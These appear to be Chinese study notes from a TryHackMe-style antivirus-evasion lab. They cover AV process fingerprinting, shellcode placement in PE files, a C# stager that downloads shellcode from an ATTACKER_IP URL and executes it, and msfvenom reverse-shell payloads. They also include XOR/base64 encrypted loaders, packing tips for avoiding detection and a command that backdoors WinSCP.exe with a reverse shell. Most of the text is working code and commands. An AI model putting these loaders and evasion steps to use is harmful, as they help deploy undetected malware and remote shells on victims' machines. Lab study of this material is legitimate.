防病毒简介
# 常见查病毒网站
https://www.virustotal.com/gui/ # 会把病毒同步给厂家,所以尽量不要在攻击时利用此网站查杀
https://antiscan.me/
https://virusscan.jotti.org/
# 防病毒软件指纹识别
https://github.com/PwnDexter/SharpEDRChecker
自己编写防病毒软件指纹识别软件
// c# 程序,核心就是查看运行进程看哪些和表中的名称匹配,可以改用其他语言书写
using System;
using System.Management;
internal class Program
{
static void Main(string[] args)
{
var status = false;
Console.WriteLine("[+] Antivirus check is running .. ");
//自定义的病毒进程指纹表
string[] AV_Check = {
"MsMpEng.exe", "AdAwareService.exe", "afwServ.exe", "avguard.exe", "AVGSvc.exe",
"bdagent.exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.exe", "GDScan.exe",
"avp.exe", "K7CrvSvc.exe", "McAPExe.exe", "NortonSecurity.exe", "PavFnSvr.exe",
"SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe"
};
var searcher = new ManagementObjectSearcher("select * from win32_process");
var processList = searcher.Get();
int i = 0;
foreach (var process in processList)
{
int _index = Array.IndexOf(AV_Check, process["Name"].ToString());
if (_index > -1)
{
Console.WriteLine("--AV Found: {0}", process["Name"].ToString());
status = true;
}
i++;
}
if (!status) { Console.WriteLine("--AV software is not found!"); }
}
}
shellcode规避
PE结构
# pe的基础结构
.text 存储程序的实际代码
.data 包含已初始化和定义的变量
.bss 保存未初始化的数据(已声明的变量,没有赋值)
.rdata 包含只读数据
.edata:包含可导出的对象和相关表信息
.idata 导入的对象和相关表信息
.reloc 图像重定位信息
.rsrc 链接程序使用的外部资源,例如图像、图标、嵌入的二进制文件和清单文件,其中包含有关程序版本、作者、公司和版权的所有信息!
# 如何在PE中存储shellcode
1、在 main 函数中将 shellcode 定义为局部变量会将其存储在PE的.text部分。
2、将 shellcode 定义为全局变量会将其存储在PE的.data部分
3、将 shellcode 作为原始二进制文件存储在图标图像中,并将其链接到代码中,它显示在 .rsrc Data 部分中。
4、我们可以添加一个自定义数据部分来存储 shellcode
# 好用的工具
PE-bear
shellcode编写
#编写汇编程序,如基础打印
global _start
section .text
_start:
jmp MESSAGE ; 1) let's jump to MESSAGE
GOBACK:
mov rax, 0x1
mov rdi, 0x1
pop rsi ; 3) we are popping into `rsi`; now we have the
; address of "THM, Rocks!\r\n"
mov rdx, 0xd
syscall
mov rax, 0x3c
mov rdi, 0x0
syscall
MESSAGE:
call GOBACK ; 2) we are going back, since we used `call`, that means
; the return address, which is, in this case, the address
; of "THM, Rocks!\r\n", is pushed into the stack.
db "THM, Rocks!", 0dh, 0ah
# 编译汇编代码并执行
nasm -f elf64 thm.asm && ld thm.o -o thm && 。/thm
# 提取shellcode
objdump -d thm # 输出其汇编代码
objcopy -j .text -O binary thm thm.text && xxd -i thm.text # 提取shellcode并汇总成16进制格式
# 用c语言加载shellcode
#include <stdio.h>
int main(int argc, char **argv) {
unsigned char message[] = {
0xeb, 0x1e, 0xb8, 0x01, 0xaa
};
(*(void(*)())message)();
return 0;
}
# 编译c语言代码
gcc -g -Wall -z execstack thm.c -o thmx
传输有效载荷
# msf生成分段和非分段的有效载荷
windows/x64/meterpreter_reverse_tcp #不分段
windows/x64/meterpreter/reverse_tcp #分段
# 创建自己的生成器
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs的修改版本
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
# 编译代码
csc staged-payload.cs
# 创建shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# 创建自签名服务器
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
生成shellcode
# msf生成shellcode示例
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
# shellcode注入代码
#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
DWORD oldProtect;
VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
int (*shellcode)() = (int(*)())(void*)stager;
shellcode();
}
# 跨平台编译
i686-w64-mingw32-gcc calc.c -o calc-MSF.exe
# 创建原始的二进制文件shellcode
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
# 查看二进制转换成c数组
xxd -i /tmp/example.bin
编码和加密
# 使用MSF进行编码
msfvenom --list encoders | grep excellent # 列出所有可用的编码器
msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp
# 指定编码和重复三次
# 使用MSF进行加密
msfvenom --list encrypt # 列出所有可用的加密算法
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe # 指定加密
# 创建自定义负载
## 生成shellcode
msfvenom LHOST=10.10.103.230 LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp
## c#编码(base64,xor结合)
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Encrypter
{
internal class Program
{
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
static void Main(string[] args)
{
//XOR Key - It has to be the same in the Droppr for Decrypting
string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
//Original Shellcode here (csharp format)
byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
//XORing byte by byte and saving into a new array of bytes
byte[] encoded = xor(buf, keyBytes);
Console.WriteLine(Convert.ToBase64String(encoded));
}
}
}
# c#解码
using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;
public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
public static void Main()
{
string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
byte[] data = Convert.FromBase64String(dataBS64);
string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
byte[] encoded = xor(data, keyBytes);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
# 编译与nc创建监听
csc.exe payload.cs
nc -lvp 443
加壳
# 常见的加壳软件
https://github.com/mkaring/ConfuserEx/releases/tag/v1.6.0
# 加壳仍被检测
1、执行后5左右分钟再上线
2、使用较小的载荷如执行单个命令而不是创建反弹shell
3、在反弹shell中再次运行反弹shell
捆绑多个可执行程序(欺骗用户检查对杀毒软件没啥效果)
# msf捆绑多个程序
msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe